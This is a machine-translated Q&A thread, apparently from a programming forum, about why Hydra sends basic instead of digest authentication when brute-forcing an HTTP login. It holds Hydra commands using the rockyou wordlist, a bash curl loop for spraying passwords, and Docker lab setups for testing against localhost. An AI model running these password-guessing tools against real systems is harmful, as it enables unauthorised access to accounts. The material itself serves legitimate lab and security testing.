Грубое форсирование http-дайджеста с помощью Hydra

#brute-force #hydra

#грубое форсирование #гидра

Вопрос:

У меня возникли некоторые проблемы с грубым форсированием формы HTTP-дайджеста с помощью Hydra. Я использую следующую команду, однако при проксировании через burp suite hydra я вижу, что hydra использует базовую аутентификацию, а не переваривает.

Как мне заставить hydra использовать правильный тип авторизации?

Команда: hydra -l admin -P /usr/share/wordlists/rockyou.txt 127.0.0.1 -vV http-get /digest

Запрос, как показано в прокси:

 GET /digest HTTP/1.1
Host: 127.0.0.1
Connection: close
Authorization: Basic YWRtaW46aWxvdmV5b3U=
User-Agent: Mozilla/4.0 (Hydra)
 

Ответ №1:

Я изучил этот случай, если метод дайджеста реализован на уровне серверов Nginx или apache, hydra может работать. Но если аутентификация реализована на сервере приложений, таком как Flask, Expressjs, Django, она вообще не будет работать

Вы можете создать скрипт bash для распыления паролей

 #!/bin/bash

cat $1 | while read USER; do
        cat $2 | while read PASSWORD; do
                if curl -s $3 -c /tmp/cookie --digest -u $USER:$PASSWORD | grep -qi "unauth"
                then 
                        continue
                else
                        echo [ ] Found $USER:$PASSWORD
                        exit 0
                fi
        done
done
 

Сохраните этот файл как app.sh

 $ chmod  x app.sh
$ ./app.sh /path/to/users.txt /path/to/passwords.txt http://example.com/path
 

Ответ №2:

Поскольку версия Hydra не была указана, я предполагаю, что последняя: 9.2.

@tbhaxor правильно:

Для таких серверов, как Apache или nginx, Hydra работает. Flask, использующий дайджестную аутентификацию, как рекомендовано в стандартной документации, не работает (подробности позже). Вы могли бы добавить используемый веб-сервер, чтобы кто-нибудь мог это проверить.

Hydra не предоставляет явных параметров для различения базовой и дайджест-аутентификации.

Технически, сначала он отправляет запрос, который пытается аутентифицировать себя с помощью базовой аутентификации. После этого он оценивает соответствующий ответ.

В спецификации дайджест-аутентификации указано, что веб-приложение должно отправлять заголовок WWW-Authenticate : Digest ... в ответе, если запрошенный документ защищен с помощью схемы. Итак, Hydra теперь может различать две формы аутентификации. Если он получает этот ответ (см. code), он отправляет вторую попытку с использованием дайджест-аутентификации.

2 запроса переваривают аутентификацию mitmproxy
Первый запрос mitmproxy
Первый ответ mitmproxy
Второй запрос mitmproxy

Причина, по которой вы можете видеть только базовую аутентификацию, а не дайджест запросов, связана с настройкой по умолчанию того, что Hydra называет «задачами». По умолчанию установлено значение 16, что означает, что изначально создается 16 потоков.

Таким образом, если вы перейдете к 17-му запросу в вашем прокси, вы найдете запрос с использованием дайджест-аутентификации. Вы также можете увидеть разницу, если вы установите количество задач равным 1 с помощью параметра -t 1 .

Следующие 3 настройки Docker, в которых вы можете проверить различия в базовой аутентификации (nginx), дайджесте аутентификации (nginx) и дайджесте аутентификации (Flask), используя учетные данные «admin / password» на основе вашего примера:

базовая аутентификация:

 cat Dockerfile.http_basic_auth
FROM nginx:1.21.3
 
LABEL maintainer="secf00tprint"
 
RUN apt-get update amp;amp; apt-get install -y apache2-utils
RUN touch /usr/share/nginx/html/.htpasswd
RUN htpasswd -db /usr/share/nginx/html/.htpasswd admin password
RUN sed -i '/^    location / {/a         auth_basic "Administratorx27s Area";n        auth_basic_user_file /usr/share/nginx/html/.htpasswd;' /etc/nginx/conf.d/default.conf
 

:

 sudo docker build -f Dockerfile.http_basic_auth -t http-server-basic-auth .
sudo docker run -ti -p 127.0.0.1:8888:80 http-server-basic-auth
 

:

 hydra -l admin -P /usr/share/wordlists/rockyou.txt 127.0.0.1 -s 8888 http-get /
 

дайджест аутентификации (nginx):

 cat Dockerfile.http_digest 
FROM ubuntu:20.10

LABEL maintainer="secf00tprint"

RUN apt-get update amp;amp; 
# For digest module
     DEBIAN_FRONTEND=noninteractive apt-get install -y curl unzip 
# For nginx
     build-essential libpcre3 libpcre3-dev zlib1g zlib1g-dev libssl-dev libgd-dev libxml2 libxml2-dev uuid-dev make apache2-utils expect
RUN curl -O https://nginx.org/download/nginx-1.21.3.tar.gz
RUN curl -OL https://github.com/atomx/nginx-http-auth-digest/archive/refs/tags/v1.0.0.zip
RUN tar -xvzf nginx-1.21.3.tar.gz
RUN unzip v1.0.0.zip
RUN cd nginx-1.21.3 amp;amp; 
     ./configure --prefix=/usr/share/nginx --sbin-path=/usr/sbin/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/ nginx.lock --pid-path=/run/nginx.pid --modules-path=/etc/nginx/modules --add-module=../nginx-http-auth-digest-1.0.0/ amp;amp; 
     make amp;amp; make install
 
COPY generate.exp /usr/share/nginx/html/
RUN chmod u x /usr/share/nginx/html/generate.exp amp;amp; 
     cd /usr/share/nginx/html/ amp;amp; 
     expect -d generate.exp
 
RUN sed -i '/^        location / {/a             auth_digest "this is not for you";' /etc/nginx/nginx.conf
RUN sed -i '/^        location / {/i         auth_digest_user_file /usr/share/nginx/html/passwd.digest;' /etc/nginx/nginx.conf
 
CMD nginx amp;amp; tail -f /var/log/nginx/access.log -f /var/log/nginx/error.log
 

:

 cat generate.exp
#!/usr/bin/expect
set timeout 70
spawn "/usr/bin/htdigest" "-c" "passwd.digest" "this is not for you" "admin"
expect "New password: " {send "passwordr"}
expect "Re-type new password: " {send "passwordr"}
wait
 

:

 sudo docker build -f Dockerfile.http_digest -t http_digest .
sudo docker run -ti -p 127.0.0.1:8888:80 http_digest
 

:

 hydra -l admin -P /usr/share/wordlists/rockyou.txt 127.0.0.1 -s 8888 http-get /
 

дайджест аутентификации (Flask):

 cat Dockerfile.http_digest_fask
FROM ubuntu:20.10

LABEL maintainer="secf00tprint"
 
RUN apt-get update -y amp;amp; 
     apt-get install -y python3-pip python3-dev
 
# We copy just the requirements.txt first to leverage Docker cache
COPY ./requirements.txt /app/requirements.txt
WORKDIR /app
RUN pip3 install -r requirements.txt
COPY ./app.py /app/
CMD ["flask", "run", "--host=0.0.0.0"]
 

:

 cat requirements.txt
Flask==2.0.2
Flask-HTTPAuth==4.5.0
 

:

 cat app.py
from flask import Flask
from flask_httpauth import HTTPDigestAuth
 
app = Flask(__name__)
app.secret_key = 'super secret key'
auth = HTTPDigestAuth()
 
users = {
    "admin" : "password",
    "john" : "hello",
    "susan" : "bye"
}
 
@auth.get_password
def get_pw(username):
    if username in users:
        return users.get(username)
    return None
 
@app.route("/")
@auth.login_required
def hello_world():
    return "<p>Flask Digest Demo</p>"
 

:

 sudo docker build -f Dockerfile.http_digest_flask -t digest_flask .
sudo docker run -ti -p 127.0.0.1:5000:5000 digest_flask
 

:

 hydra -l admin -P /usr/share/wordlists/rockyou.txt 127.0.0.1 -s 5000 http-get /
 

Если вы хотите увидеть больше информации, я написал об этом более подробно здесь.